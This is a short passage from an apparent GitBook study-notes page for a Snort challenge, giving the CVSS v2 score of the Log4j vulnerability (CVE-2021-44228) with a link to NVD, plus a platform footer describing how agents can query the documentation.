<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FVmfI3RHdClUZ02FKoGps%2Fimage.png?alt=media&#x26;token=2def316b-26f0-4bc4-82d7-65abf46f7b49" alt=""><figcaption></figcaption></figure>

***What is the CVSS v2 score of the Log4j vulnerability?***

9.3

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FCW0uGvrEI1nrwX14NMEX%2Fimage.png?alt=media&#x26;token=c8b8957d-b600-49eb-8c78-625470278e1e" alt=""><figcaption><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">https://nvd.nist.gov/vuln/detail/CVE-2021-44228</a></p></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jacob-taylor.gitbook.io/security-analyst/path-3/network-security-and-traffic-analysis/snort-challenge-the-basics.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.